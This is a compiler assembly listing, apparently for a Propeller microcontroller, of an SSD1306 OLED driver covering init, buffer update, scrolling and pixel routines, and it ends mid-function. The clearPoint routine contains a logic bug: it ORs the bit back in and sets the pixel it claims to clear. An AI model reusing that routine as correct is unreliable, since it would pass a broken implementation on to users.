144:SSD1306.c **** shift_out(_SDA, _SCL, MSBFIRST, 8, _Buffer[k++]); 147 .loc 1 144 0 discriminator 2 148 0138 00007C5C mvi r7,#__SCL 148 00000000 149 .LVL10 150 0140 0100FCA0 mov r2, #1 151 0144 0800FCA0 mov r3, #8 152 0148 0100FC80 add r14, #1 153 .LVL11 154 014c 0000BC08 rdlong r1, r7 131:SSD1306.c **** void SSD1306_update() 155 .loc 1 131 0 discriminator 2 156 0150 00007C5C mvi r7,#__Buffer 156 00000000 157 0158 0000BC80 add r7, r6 158 .loc 1 144 0 discriminator 2 159 015c 0000BC08 rdlong r0, r9 160 0160 0000BC00 rdbyte r4, r7 161 0164 00007C5C lcall #_shift_out 161 00000000 162 .L12 131:SSD1306.c **** void SSD1306_update() 163 .loc 1 131 0 discriminator 1 164 016c 0000BCA0 mov r7, r14 143:SSD1306.c **** for (int j=0;j<_Height/8;j++) 165 .loc 1 143 0 discriminator 1 166 0170 0800FCA0 mov r1, #8 131:SSD1306.c **** void SSD1306_update() 167 .loc 1 131 0 discriminator 1 168 0174 0000BC84 sub r7, r13 169 0178 0000BCA0 mov r6, r14 170 .LVL12 143:SSD1306.c **** for (int j=0;j<_Height/8;j++) 171 .loc 1 143 0 discriminator 1 172 017c 0000BC08 rdlong r0, r11 173 0180 0000FC5C call #__DIVSI 174 0184 00003CC3 cmps r7, r0 wz,wc 175 0188 5400F084 IF_B brs #.L10 176 .LVL13 177 .LBE4 141:SSD1306.c **** for (int i=0;i<_Width;i++) 178 .loc 1 141 0 179 018c 0100FC80 add r12, #1 180 .LVL14 181 0190 0000BCA0 mov r13, r14 182 .LVL15 183 .L9 141:SSD1306.c **** for (int i=0;i<_Width;i++) 184 .loc 1 141 0 is_stmt 0 discriminator 1 185 0194 0000BC08 rdlong r7, r10 186 0198 00003CC3 cmps r12, r7 wz,wc 187 019c 1000CC80 IF_AE brs #.L11 188 01a0 0000BCA0 mov r14, r13 189 .LBB5 190 .loc 1 144 0 is_stmt 1 discriminator 1 191 01a4 00007C5C mvi r9,#__SDA 191 00000000 192 01ac 4400FC84 brs #.L12 193 .L11 194 .LBE5 195 .LBE7 145:SSD1306.c **** } 146:SSD1306.c **** high(_CS); 196 .loc 1 146 0 197 01b0 00007C5C mvi r7,#__CS 197 00000000 198 01b8 0000BC08 rdlong r0, r7 199 01bc 00007C5C lcall #_high 199 00000000 147:SSD1306.c **** } 200 .loc 1 147 0 201 01c4 7F00FCA0 mov __TMP0,#(7<<4)+15 202 01c8 0000FC5C call #__LMM_POPRET 203 '' never returns 204 .LFE6 205 .balign 4 206 .global _SSD1306_cls 207 _SSD1306_cls 208 .LFB7 148:SSD1306.c **** 149:SSD1306.c **** void SSD1306_cls() 150:SSD1306.c **** { 209 .loc 1 150 0 210 01cc 0400FC84 sub sp, #4 211 .LCFI5 212 01d0 00003C08 wrlong lr, sp 213 .LCFI6 151:SSD1306.c **** memset(&_Buffer, 0, sizeof(_Buffer)); 214 .loc 1 151 0 215 01d4 0000FCA0 mov r1, #0 216 01d8 00007C5C mvi r2,#1024 216 00040000 217 01e0 00007C5C mvi r0,#__Buffer 217 00000000 218 01e8 00007C5C lcall #_memset 218 00000000 152:SSD1306.c **** SSD1306_update(); 219 .loc 1 152 0 220 01f0 00007C5C lcall #_SSD1306_update 220 00000000 153:SSD1306.c **** } 221 .loc 1 153 0 222 01f8 0000BC08 rdlong lr, sp 223 01fc 0400FC80 add sp, #4 224 0200 0000BCA0 mov pc,lr 225 .LFE7 226 .balign 4 227 .global _SSD1306_init 228 _SSD1306_init 229 .LFB1 24:SSD1306.c **** { 230 .loc 1 24 0 231 .LVL16 232 0204 4C00FCA0 mov __TMP0,#(4<<4)+12 233 0208 0000FC5C call #__LMM_PUSHM 234 .LCFI7 24:SSD1306.c **** { 235 .loc 1 24 0 236 020c 0000BCA0 mov r7, sp 237 0210 1000FC80 add r7, #16 30:SSD1306.c **** _Auto = 0; 238 .loc 1 30 0 239 0214 0000FCA0 mov r6, #0 24:SSD1306.c **** { 240 .loc 1 24 0 241 0218 0000BCA0 mov r14, r5 46:SSD1306.c **** low(_RST); 242 .loc 1 46 0 243 021c 00007C5C mvi r12,#__RST 243 00000000 24:SSD1306.c **** { 244 .loc 1 24 0 245 0224 0000BC08 rdlong r13, r7 25:SSD1306.c **** _CS = cs; 246 .loc 1 25 0 247 0228 00007C5C mvi r7,#__CS 247 00000000 32:SSD1306.c **** if (t == TYPE_128X32) 248 .loc 1 32 0 249 0230 20007CC3 cmps r13, #32 wz,wc 25:SSD1306.c **** _CS = cs; 250 .loc 1 25 0 251 0234 00003C08 wrlong r0, r7 26:SSD1306.c **** _DC = dc; 252 .loc 1 26 0 253 0238 00007C5C mvi r7,#__DC 253 00000000 44:SSD1306.c **** high(_RST); 254 .loc 1 44 0 255 0240 0000BCA0 mov r0, r4 256 .LVL17 26:SSD1306.c **** _DC = dc; 257 .loc 1 26 0 258 0244 00003C08 wrlong r1, r7 27:SSD1306.c **** _SDA = sda; 259 .loc 1 27 0 260 0248 00007C5C mvi r7,#__SDA 260 00000000 261 0250 00003C08 wrlong r2, r7 28:SSD1306.c **** _SCL = scl; 262 .loc 1 28 0 263 0254 00007C5C mvi r7,#__SCL 263 00000000 264 025c 00003C08 wrlong r3, r7 29:SSD1306.c **** _RST = rst; 265 .loc 1 29 0 266 0260 00007C5C mvi r7,#__RST 266 00000000 267 0268 00003C08 wrlong r4, r7 30:SSD1306.c **** _Auto = 0; 268 .loc 1 30 0 269 026c 00007C5C mvi r7,#__Auto 269 00000000 270 0274 00003C08 wrlong r6, r7 34:SSD1306.c **** _Width = SSD1306_LCDWIDTH; 271 .loc 1 34 0 272 0278 8000FCA0 mov r6, #128 273 027c 00007C5C mvi r7,#__Width 273 00000000 274 0284 00003C08 wrlong r6, r7 35:SSD1306.c **** _Height = SSD1306_LCDHEIGHT32; 275 .loc 1 35 0 276 0288 2000E8A0 IF_E mov r6, #32 40:SSD1306.c **** _Height = SSD1306_LCDHEIGHT64; 277 .loc 1 40 0 278 028c 4000D4A0 IF_NE mov r6, #64 35:SSD1306.c **** _Height = SSD1306_LCDHEIGHT32; 279 .loc 1 35 0 280 0290 00007C5C mvi r7,#__Height 280 00000000 40:SSD1306.c **** _Height = SSD1306_LCDHEIGHT64; 281 .loc 1 40 0 282 0298 00003C08 wrlong r6, r7 44:SSD1306.c **** high(_RST); 283 .loc 1 44 0 284 029c 00007C5C lcall #_high 284 00000000 285 .LVL18 45:SSD1306.c **** pause(10); 286 .loc 1 45 0 287 02a4 0A00FCA0 mov r0, #10 288 02a8 00007C5C lcall #_pause 288 00000000 46:SSD1306.c **** low(_RST); 289 .loc 1 46 0 290 02b0 0000BC08 rdlong r0, r12 291 02b4 00007C5C lcall #_low 291 00000000 47:SSD1306.c **** pause(10); 292 .loc 1 47 0 293 02bc 0A00FCA0 mov r0, #10 294 02c0 00007C5C lcall #_pause 294 00000000 48:SSD1306.c **** high(_RST); 295 .loc 1 48 0 296 02c8 0000BC08 rdlong r0, r12 297 02cc 00007C5C lcall #_high 297 00000000 50:SSD1306.c **** SSD1306_cmd(SSD1306_DISPLAYOFF); 298 .loc 1 50 0 299 02d4 AE00FCA0 mov r0, #174 300 02d8 00007C5C lcall #_SSD1306_cmd 300 00000000 51:SSD1306.c **** SSD1306_cmd(SSD1306_SETDISPLAYCLOCKDIV); 301 .loc 1 51 0 302 02e0 D500FCA0 mov r0, #213 303 02e4 00007C5C lcall #_SSD1306_cmd 303 00000000 52:SSD1306.c **** SSD1306_cmd(0x80); 304 .loc 1 52 0 305 02ec 8000FCA0 mov r0, #128 306 02f0 00007C5C lcall #_SSD1306_cmd 306 00000000 54:SSD1306.c **** SSD1306_cmd(SSD1306_SETMULTIPLEX); 307 .loc 1 54 0 308 02f8 A800FCA0 mov r0, #168 309 02fc 00007C5C lcall #_SSD1306_cmd 309 00000000 55:SSD1306.c **** SSD1306_cmd(_Height - 1); 310 .loc 1 55 0 311 0304 00007C5C mvi r7,#__Height 311 00000000 312 030c 0000BC08 rdlong r0, r7 313 0310 0100FC84 sub r0, #1 314 0314 FF00FC60 and r0,#255 315 0318 00007C5C lcall #_SSD1306_cmd 315 00000000 57:SSD1306.c **** SSD1306_cmd(SSD1306_SETDISPLAYOFFSET); 316 .loc 1 57 0 317 0320 D300FCA0 mov r0, #211 318 0324 00007C5C lcall #_SSD1306_cmd 318 00000000 58:SSD1306.c **** SSD1306_cmd(0x0); 319 .loc 1 58 0 320 032c 0000FCA0 mov r0, #0 321 0330 00007C5C lcall #_SSD1306_cmd 321 00000000 59:SSD1306.c **** SSD1306_cmd(SSD1306_SETSTARTLINE); 322 .loc 1 59 0 323 0338 4000FCA0 mov r0, #64 324 033c 00007C5C lcall #_SSD1306_cmd 324 00000000 60:SSD1306.c **** SSD1306_cmd(SSD1306_CHARGEPUMP); 325 .loc 1 60 0 326 0344 8D00FCA0 mov r0, #141 327 0348 00007C5C lcall #_SSD1306_cmd 327 00000000 61:SSD1306.c **** if (s == SSD1306_EXTERNALVCC) 328 .loc 1 61 0 329 0350 01007CC3 cmps r14, #1 wz,wc 62:SSD1306.c **** SSD1306_cmd(0x10); 330 .loc 1 62 0 331 0354 1000E8A0 IF_E mov r0, #16 64:SSD1306.c **** SSD1306_cmd(0x14); 332 .loc 1 64 0 333 0358 1400D4A0 IF_NE mov r0, #20 334 035c 00007C5C lcall #_SSD1306_cmd 334 00000000 65:SSD1306.c **** SSD1306_cmd(SSD1306_MEMORYMODE); 335 .loc 1 65 0 336 0364 2000FCA0 mov r0, #32 337 0368 00007C5C lcall #_SSD1306_cmd 337 00000000 66:SSD1306.c **** SSD1306_cmd(0x00); 338 .loc 1 66 0 339 0370 0000FCA0 mov r0, #0 340 0374 00007C5C lcall #_SSD1306_cmd 340 00000000 67:SSD1306.c **** SSD1306_cmd(SSD1306_SEGREMAP | 0x1); 341 .loc 1 67 0 342 037c A100FCA0 mov r0, #161 343 0380 00007C5C lcall #_SSD1306_cmd 343 00000000 68:SSD1306.c **** SSD1306_cmd(SSD1306_COMSCANDEC); 344 .loc 1 68 0 345 0388 C800FCA0 mov r0, #200 346 038c 00007C5C lcall #_SSD1306_cmd 346 00000000 70:SSD1306.c **** if (t == TYPE_128X32) 347 .loc 1 70 0 348 0394 20007CC3 cmps r13, #32 wz,wc 349 0398 2C00D480 IF_NE brs #.L19 72:SSD1306.c **** SSD1306_cmd(SSD1306_SETCOMPINS); 350 .loc 1 72 0 351 039c DA00FCA0 mov r0, #218 352 03a0 00007C5C lcall #_SSD1306_cmd 352 00000000 73:SSD1306.c **** SSD1306_cmd(0x02); 353 .loc 1 73 0 354 03a8 0200FCA0 mov r0, #2 355 03ac 00007C5C lcall #_SSD1306_cmd 355 00000000 74:SSD1306.c **** SSD1306_cmd(SSD1306_SETCONTRAST); 356 .loc 1 74 0 357 03b4 8100FCA0 mov r0, #129 358 03b8 00007C5C lcall #_SSD1306_cmd 358 00000000 75:SSD1306.c **** SSD1306_cmd(0x8F); 359 .loc 1 75 0 360 03c0 8F00FCA0 mov r0, #143 361 03c4 3800FC80 brs #.L26 362 .L19 78:SSD1306.c **** if (t == TYPE_128X64) 363 .loc 1 78 0 364 03c8 40007CC3 cmps r13, #64 wz,wc 365 03cc 3800D480 IF_NE brs #.L20 80:SSD1306.c **** SSD1306_cmd(SSD1306_SETCOMPINS); 366 .loc 1 80 0 367 03d0 DA00FCA0 mov r0, #218 368 03d4 00007C5C lcall #_SSD1306_cmd 368 00000000 81:SSD1306.c **** SSD1306_cmd(0x12); 369 .loc 1 81 0 370 03dc 1200FCA0 mov r0, #18 371 03e0 00007C5C lcall #_SSD1306_cmd 371 00000000 82:SSD1306.c **** SSD1306_cmd(SSD1306_SETCONTRAST); 372 .loc 1 82 0 373 03e8 8100FCA0 mov r0, #129 374 03ec 00007C5C lcall #_SSD1306_cmd 374 00000000 83:SSD1306.c **** if (s == SSD1306_EXTERNALVCC) 375 .loc 1 83 0 376 03f4 01007CC3 cmps r14, #1 wz,wc 84:SSD1306.c **** SSD1306_cmd(0x9F); 377 .loc 1 84 0 378 03f8 9F00E8A0 IF_E mov r0, #159 86:SSD1306.c **** SSD1306_cmd(0xCF); 379 .loc 1 86 0 380 03fc CF00D4A0 IF_NE mov r0, #207 381 .L26 382 0400 00007C5C lcall #_SSD1306_cmd 382 00000000 383 .L20 89:SSD1306.c **** SSD1306_cmd(SSD1306_SETPRECHARGE); 384 .loc 1 89 0 385 0408 D900FCA0 mov r0, #217 386 040c 00007C5C lcall #_SSD1306_cmd 386 00000000 90:SSD1306.c **** if (s == SSD1306_EXTERNALVCC) 387 .loc 1 90 0 388 0414 01007CC3 cmps r14, #1 wz,wc 91:SSD1306.c **** SSD1306_cmd(0x22); 389 .loc 1 91 0 390 0418 2200E8A0 IF_E mov r0, #34 93:SSD1306.c **** SSD1306_cmd(0xF1); 391 .loc 1 93 0 392 041c F100D4A0 IF_NE mov r0, #241 393 0420 00007C5C lcall #_SSD1306_cmd 393 00000000 94:SSD1306.c **** SSD1306_cmd(SSD1306_SETVCOMDETECT); 394 .loc 1 94 0 395 0428 DB00FCA0 mov r0, #219 396 042c 00007C5C lcall #_SSD1306_cmd 396 00000000 95:SSD1306.c **** SSD1306_cmd(0x40); 397 .loc 1 95 0 398 0434 4000FCA0 mov r0, #64 399 0438 00007C5C lcall #_SSD1306_cmd 399 00000000 96:SSD1306.c **** SSD1306_cmd(SSD1306_DISPLAYALLON_RESUME); 400 .loc 1 96 0 401 0440 A400FCA0 mov r0, #164 402 0444 00007C5C lcall #_SSD1306_cmd 402 00000000 97:SSD1306.c **** SSD1306_cmd(SSD1306_NORMALDISPLAY); 403 .loc 1 97 0 404 044c A600FCA0 mov r0, #166 405 0450 00007C5C lcall #_SSD1306_cmd 405 00000000 98:SSD1306.c **** SSD1306_cmd(SSD1306_DEACTIVATE_SCROLL); 406 .loc 1 98 0 407 0458 2E00FCA0 mov r0, #46 408 045c 00007C5C lcall #_SSD1306_cmd 408 00000000 99:SSD1306.c **** SSD1306_cmd(SSD1306_DISPLAYON); 409 .loc 1 99 0 410 0464 AF00FCA0 mov r0, #175 411 0468 00007C5C lcall #_SSD1306_cmd 411 00000000 100:SSD1306.c **** SSD1306_invert(0); 412 .loc 1 100 0 413 0470 0000FCA0 mov r0, #0 414 0474 00007C5C lcall #_SSD1306_invert 414 00000000 101:SSD1306.c **** SSD1306_cls(); 415 .loc 1 101 0 416 047c 00007C5C lcall #_SSD1306_cls 416 00000000 102:SSD1306.c **** } 417 .loc 1 102 0 418 0484 4F00FCA0 mov __TMP0,#(4<<4)+15 419 0488 0000FC5C call #__LMM_POPRET 420 '' never returns 421 .LFE1 422 .balign 4 423 .global _SSD1306_getBuffer 424 _SSD1306_getBuffer 425 .LFB8 154:SSD1306.c **** 155:SSD1306.c **** char* SSD1306_getBuffer() 156:SSD1306.c **** { 426 .loc 1 156 0 157:SSD1306.c **** return _Buffer; 158:SSD1306.c **** } 427 .loc 1 158 0 428 048c 00007C5C mvi r0,#__Buffer 428 00000000 429 0494 0000BCA0 mov pc,lr 430 .LFE8 431 .balign 4 432 .global _SSD1306_scrollRight 433 _SSD1306_scrollRight 434 .LFB9 159:SSD1306.c **** 160:SSD1306.c **** void SSD1306_scrollRight(char sp, char ep, char f) 161:SSD1306.c **** { 435 .loc 1 161 0 436 .LVL19 437 0498 4C00FCA0 mov __TMP0,#(4<<4)+12 438 049c 0000FC5C call #__LMM_PUSHM 439 .LCFI8 440 .loc 1 161 0 441 04a0 0000BCA0 mov r12, r0 162:SSD1306.c **** SSD1306_cmd(SSD1306_DEACTIVATE_SCROLL); 442 .loc 1 162 0 443 04a4 2E00FCA0 mov r0, #46 444 .LVL20 161:SSD1306.c **** { 445 .loc 1 161 0 446 04a8 0000BCA0 mov r14, r1 447 04ac 0000BCA0 mov r13, r2 448 .loc 1 162 0 449 04b0 00007C5C lcall #_SSD1306_cmd 449 00000000 450 .LVL21 163:SSD1306.c **** SSD1306_cmd(SSD1306_RIGHT_HORIZ_SCROLL); 451 .loc 1 163 0 452 04b8 2600FCA0 mov r0, #38 453 04bc 00007C5C lcall #_SSD1306_cmd 453 00000000 164:SSD1306.c **** SSD1306_cmd(0x00); // Dummy 454 .loc 1 164 0 455 04c4 0000FCA0 mov r0, #0 456 04c8 00007C5C lcall #_SSD1306_cmd 456 00000000 165:SSD1306.c **** SSD1306_cmd(sp & 0x07); 457 .loc 1 165 0 458 04d0 0000BCA0 mov r0, r12 459 04d4 0700FC60 and r0, #7 460 04d8 00007C5C lcall #_SSD1306_cmd 460 00000000 166:SSD1306.c **** SSD1306_cmd(f & 0x07); 461 .loc 1 166 0 462 04e0 0000BCA0 mov r0, r13 463 04e4 0700FC60 and r0, #7 464 04e8 00007C5C lcall #_SSD1306_cmd 464 00000000 167:SSD1306.c **** SSD1306_cmd(ep & 0x07); 465 .loc 1 167 0 466 04f0 0000BCA0 mov r0, r14 467 04f4 0700FC60 and r0, #7 468 04f8 00007C5C lcall #_SSD1306_cmd 468 00000000 168:SSD1306.c **** SSD1306_cmd(0x00); 469 .loc 1 168 0 470 0500 0000FCA0 mov r0, #0 471 0504 00007C5C lcall #_SSD1306_cmd 471 00000000 169:SSD1306.c **** SSD1306_cmd(0xFF); 472 .loc 1 169 0 473 050c FF00FCA0 mov r0, #255 474 0510 00007C5C lcall #_SSD1306_cmd 474 00000000 170:SSD1306.c **** SSD1306_cmd(SSD1306_ACTIVATE_SCROLL); 475 .loc 1 170 0 476 0518 2F00FCA0 mov r0, #47 477 051c 00007C5C lcall #_SSD1306_cmd 477 00000000 171:SSD1306.c **** } 478 .loc 1 171 0 479 0524 4F00FCA0 mov __TMP0,#(4<<4)+15 480 0528 0000FC5C call #__LMM_POPRET 481 '' never returns 482 .LFE9 483 .balign 4 484 .global _SSD1306_scrollLeft 485 _SSD1306_scrollLeft 486 .LFB10 172:SSD1306.c **** 173:SSD1306.c **** void SSD1306_scrollLeft(char sp, char ep, char f) 174:SSD1306.c **** { 487 .loc 1 174 0 488 .LVL22 489 052c 4C00FCA0 mov __TMP0,#(4<<4)+12 490 0530 0000FC5C call #__LMM_PUSHM 491 .LCFI9 492 .loc 1 174 0 493 0534 0000BCA0 mov r12, r0 175:SSD1306.c **** SSD1306_cmd(SSD1306_DEACTIVATE_SCROLL); 494 .loc 1 175 0 495 0538 2E00FCA0 mov r0, #46 496 .LVL23 174:SSD1306.c **** { 497 .loc 1 174 0 498 053c 0000BCA0 mov r14, r1 499 0540 0000BCA0 mov r13, r2 500 .loc 1 175 0 501 0544 00007C5C lcall #_SSD1306_cmd 501 00000000 502 .LVL24 176:SSD1306.c **** SSD1306_cmd(SSD1306_LEFT_HORIZ_SCROLL); 503 .loc 1 176 0 504 054c 2700FCA0 mov r0, #39 505 0550 00007C5C lcall #_SSD1306_cmd 505 00000000 177:SSD1306.c **** SSD1306_cmd(0x00); // Dummy 506 .loc 1 177 0 507 0558 0000FCA0 mov r0, #0 508 055c 00007C5C lcall #_SSD1306_cmd 508 00000000 178:SSD1306.c **** SSD1306_cmd(sp & 0x07); 509 .loc 1 178 0 510 0564 0000BCA0 mov r0, r12 511 0568 0700FC60 and r0, #7 512 056c 00007C5C lcall #_SSD1306_cmd 512 00000000 179:SSD1306.c **** SSD1306_cmd(f & 0x07); 513 .loc 1 179 0 514 0574 0000BCA0 mov r0, r13 515 0578 0700FC60 and r0, #7 516 057c 00007C5C lcall #_SSD1306_cmd 516 00000000 180:SSD1306.c **** SSD1306_cmd(ep & 0x07); 517 .loc 1 180 0 518 0584 0000BCA0 mov r0, r14 519 0588 0700FC60 and r0, #7 520 058c 00007C5C lcall #_SSD1306_cmd 520 00000000 181:SSD1306.c **** SSD1306_cmd(0x00); 521 .loc 1 181 0 522 0594 0000FCA0 mov r0, #0 523 0598 00007C5C lcall #_SSD1306_cmd 523 00000000 182:SSD1306.c **** SSD1306_cmd(0xFF); 524 .loc 1 182 0 525 05a0 FF00FCA0 mov r0, #255 526 05a4 00007C5C lcall #_SSD1306_cmd 526 00000000 183:SSD1306.c **** SSD1306_cmd(SSD1306_ACTIVATE_SCROLL); 527 .loc 1 183 0 528 05ac 2F00FCA0 mov r0, #47 529 05b0 00007C5C lcall #_SSD1306_cmd 529 00000000 184:SSD1306.c **** } 530 .loc 1 184 0 531 05b8 4F00FCA0 mov __TMP0,#(4<<4)+15 532 05bc 0000FC5C call #__LMM_POPRET 533 '' never returns 534 .LFE10 535 .balign 4 536 .global _SSD1306_scrollDiagRight 537 _SSD1306_scrollDiagRight 538 .LFB11 185:SSD1306.c **** 186:SSD1306.c **** void SSD1306_scrollDiagRight(char sp, char ep, char f) 187:SSD1306.c **** { 539 .loc 1 187 0 540 .LVL25 541 05c0 4C00FCA0 mov __TMP0,#(4<<4)+12 542 05c4 0000FC5C call #__LMM_PUSHM 543 .LCFI10 544 .loc 1 187 0 545 05c8 0000BCA0 mov r12, r0 188:SSD1306.c **** SSD1306_cmd(SSD1306_DEACTIVATE_SCROLL); 546 .loc 1 188 0 547 05cc 2E00FCA0 mov r0, #46 548 .LVL26 187:SSD1306.c **** { 549 .loc 1 187 0 550 05d0 0000BCA0 mov r14, r1 551 05d4 0000BCA0 mov r13, r2 552 .loc 1 188 0 553 05d8 00007C5C lcall #_SSD1306_cmd 553 00000000 554 .LVL27 189:SSD1306.c **** SSD1306_cmd(SSD1306_VERTRIGHTHORIZSCROLL); 555 .loc 1 189 0 556 05e0 2900FCA0 mov r0, #41 557 05e4 00007C5C lcall #_SSD1306_cmd 557 00000000 190:SSD1306.c **** SSD1306_cmd(0x00); // Dummy 558 .loc 1 190 0 559 05ec 0000FCA0 mov r0, #0 560 05f0 00007C5C lcall #_SSD1306_cmd 560 00000000 191:SSD1306.c **** SSD1306_cmd(sp & 0x07); 561 .loc 1 191 0 562 05f8 0000BCA0 mov r7, r12 563 05fc 0700FC60 and r7, #7 564 0600 0000BCA0 mov r0, r7 565 0604 00007C5C lcall #_SSD1306_cmd 565 00000000 192:SSD1306.c **** SSD1306_cmd(f & 0x07); 566 .loc 1 192 0 567 060c 0000BCA0 mov r2, r13 568 0610 0700FC60 and r2, #7 569 0614 0000BCA0 mov r0, r2 570 0618 00007C5C lcall #_SSD1306_cmd 570 00000000 193:SSD1306.c **** SSD1306_cmd(ep); 571 .loc 1 193 0 572 0620 0000BCA0 mov r0, r14 573 0624 00007C5C lcall #_SSD1306_cmd 573 00000000 194:SSD1306.c **** SSD1306_cmd(0x01); 574 .loc 1 194 0 575 062c 0100FCA0 mov r0, #1 576 0630 00007C5C lcall #_SSD1306_cmd 576 00000000 195:SSD1306.c **** SSD1306_cmd(SSD1306_ACTIVATE_SCROLL); 577 .loc 1 195 0 578 0638 2F00FCA0 mov r0, #47 579 063c 00007C5C lcall #_SSD1306_cmd 579 00000000 196:SSD1306.c **** } 580 .loc 1 196 0 581 0644 4F00FCA0 mov __TMP0,#(4<<4)+15 582 0648 0000FC5C call #__LMM_POPRET 583 '' never returns 584 .LFE11 585 .balign 4 586 .global _SSD1306_scrollDiagLeft 587 _SSD1306_scrollDiagLeft 588 .LFB12 197:SSD1306.c **** 198:SSD1306.c **** void SSD1306_scrollDiagLeft(char sp, char ep, char f) 199:SSD1306.c **** { 589 .loc 1 199 0 590 .LVL28 591 064c 4C00FCA0 mov __TMP0,#(4<<4)+12 592 0650 0000FC5C call #__LMM_PUSHM 593 .LCFI11 594 .loc 1 199 0 595 0654 0000BCA0 mov r12, r0 200:SSD1306.c **** SSD1306_cmd(SSD1306_DEACTIVATE_SCROLL); 596 .loc 1 200 0 597 0658 2E00FCA0 mov r0, #46 598 .LVL29 199:SSD1306.c **** { 599 .loc 1 199 0 600 065c 0000BCA0 mov r14, r1 601 0660 0000BCA0 mov r13, r2 602 .loc 1 200 0 603 0664 00007C5C lcall #_SSD1306_cmd 603 00000000 604 .LVL30 201:SSD1306.c **** SSD1306_cmd(SSD1306_VERTLEFTHORIZSCROLL); 605 .loc 1 201 0 606 066c 2A00FCA0 mov r0, #42 607 0670 00007C5C lcall #_SSD1306_cmd 607 00000000 202:SSD1306.c **** SSD1306_cmd(0x00); // Dummy 608 .loc 1 202 0 609 0678 0000FCA0 mov r0, #0 610 067c 00007C5C lcall #_SSD1306_cmd 610 00000000 203:SSD1306.c **** SSD1306_cmd(sp & 0x07); 611 .loc 1 203 0 612 0684 0000BCA0 mov r0, r12 613 0688 0700FC60 and r0, #7 614 068c 00007C5C lcall #_SSD1306_cmd 614 00000000 204:SSD1306.c **** SSD1306_cmd(f & 0x07); 615 .loc 1 204 0 616 0694 0000BCA0 mov r0, r13 617 0698 0700FC60 and r0, #7 618 069c 00007C5C lcall #_SSD1306_cmd 618 00000000 205:SSD1306.c **** SSD1306_cmd(ep & 0x07); 619 .loc 1 205 0 620 06a4 0000BCA0 mov r0, r14 621 06a8 0700FC60 and r0, #7 622 06ac 00007C5C lcall #_SSD1306_cmd 622 00000000 206:SSD1306.c **** SSD1306_cmd(0x01); 623 .loc 1 206 0 624 06b4 0100FCA0 mov r0, #1 625 06b8 00007C5C lcall #_SSD1306_cmd 625 00000000 207:SSD1306.c **** SSD1306_cmd(SSD1306_ACTIVATE_SCROLL); 626 .loc 1 207 0 627 06c0 2F00FCA0 mov r0, #47 628 06c4 00007C5C lcall #_SSD1306_cmd 628 00000000 208:SSD1306.c **** } 629 .loc 1 208 0 630 06cc 4F00FCA0 mov __TMP0,#(4<<4)+15 631 06d0 0000FC5C call #__LMM_POPRET 632 '' never returns 633 .LFE12 634 .balign 4 635 .global _SSD1306_scrollStop 636 _SSD1306_scrollStop 637 .LFB13 209:SSD1306.c **** 210:SSD1306.c **** void SSD1306_scrollStop() 211:SSD1306.c **** { 638 .loc 1 211 0 639 06d4 0400FC84 sub sp, #4 640 .LCFI12 641 06d8 00003C08 wrlong lr, sp 642 .LCFI13 212:SSD1306.c **** SSD1306_cmd(SSD1306_DEACTIVATE_SCROLL); 643 .loc 1 212 0 644 06dc 2E00FCA0 mov r0, #46 645 06e0 00007C5C lcall #_SSD1306_cmd 645 00000000 213:SSD1306.c **** } 646 .loc 1 213 0 647 06e8 0000BC08 rdlong lr, sp 648 06ec 0400FC80 add sp, #4 649 06f0 0000BCA0 mov pc,lr 650 .LFE13 651 .balign 4 652 .global _SSD1306_setPoint 653 _SSD1306_setPoint 654 .LFB14 214:SSD1306.c **** 215:SSD1306.c **** void SSD1306_setPoint(char x, char y) 216:SSD1306.c **** { 655 .loc 1 216 0 656 .LVL31 217:SSD1306.c **** int i; 218:SSD1306.c **** char r, p; 219:SSD1306.c **** 220:SSD1306.c **** i = y / 8 * 128; 221:SSD1306.c **** r = y % 8; 222:SSD1306.c **** r = 1 << r; 657 .loc 1 222 0 658 06f4 0000BCA0 mov r6, r1 659 06f8 0700FC60 and r6, #7 660 06fc 0100FCA0 mov r7, #1 220:SSD1306.c **** i = y / 8 * 128; 661 .loc 1 220 0 662 0700 0300FC28 shr r1, #3 663 .LVL32 664 .loc 1 222 0 665 0704 0000BC2C shl r7, r6 220:SSD1306.c **** i = y / 8 * 128; 666 .loc 1 220 0 667 0708 0700FC2C shl r1, #7 668 .loc 1 222 0 669 070c 0000BCA0 mov r5, r7 223:SSD1306.c **** p = _Buffer[i+x] & ~r; 670 .loc 1 223 0 671 0710 0000BC80 add r1, r0 224:SSD1306.c **** _Buffer[i+x] = p | r; 672 .loc 1 224 0 673 0714 00007C5C mvi r7,#__Buffer 673 00000000 674 071c 0000BC80 add r7, r1 222:SSD1306.c **** r = 1 << r; 675 .loc 1 222 0 676 0720 FF00FC60 and r5,#255 677 .LVL33 223:SSD1306.c **** p = _Buffer[i+x] & ~r; 678 .loc 1 223 0 679 0724 0000BC00 rdbyte r6, r7 680 0728 0000BC64 andn r6, r5 681 .loc 1 224 0 682 072c 0000BC68 or r6, r5 683 0730 00003C00 wrbyte r6, r7 225:SSD1306.c **** } 684 .loc 1 225 0 685 0734 0000BCA0 mov pc,lr 686 .LFE14 687 .balign 4 688 .global _SSD1306_clearPoint 689 _SSD1306_clearPoint 690 .LFB15 226:SSD1306.c **** 227:SSD1306.c **** void SSD1306_clearPoint(char x, char y) 228:SSD1306.c **** { 691 .loc 1 228 0 692 .LVL34 229:SSD1306.c **** int i; 230:SSD1306.c **** char r, p; 231:SSD1306.c **** 232:SSD1306.c **** i = y / 8 * 128; 233:SSD1306.c **** r = y % 8; 234:SSD1306.c **** r = 1 << r; 693 .loc 1 234 0 694 0738 0000BCA0 mov r6, r1 695 073c 0700FC60 and r6, #7 696 0740 0100FCA0 mov r7, #1 232:SSD1306.c **** i = y / 8 * 128; 697 .loc 1 232 0 698 0744 0300FC28 shr r1, #3 699 .LVL35 700 .loc 1 234 0 701 0748 0000BC2C shl r7, r6 232:SSD1306.c **** i = y / 8 * 128; 702 .loc 1 232 0 703 074c 0700FC2C shl r1, #7 704 .loc 1 234 0 705 0750 0000BCA0 mov r5, r7 235:SSD1306.c **** p = _Buffer[i+x] & ~r; 706 .loc 1 235 0 707 0754 0000BC80 add r1, r0 236:SSD1306.c **** _Buffer[i+x] = p | r; 708 .loc 1 236 0 709 0758 00007C5C mvi r7,#__Buffer 709 00000000 710 0760 0000BC80 add r7, r1 234:SSD1306.c **** r = 1 << r; 711 .loc 1 234 0 712 0764 FF00FC60 and r5,#255 713 .LVL36 235:SSD1306.c **** p = _Buffer[i+x] & ~r; 714 .loc 1 235 0 715 0768 0000BC00 rdbyte r6, r7 716 076c 0000BC64 andn r6, r5 717 .loc 1 236 0 718 0770 0000BC68 or r6, r5 719 0774 00003C00 wrbyte r6, r7 237:SSD1306.c **** } 720 .loc 1 237 0 721 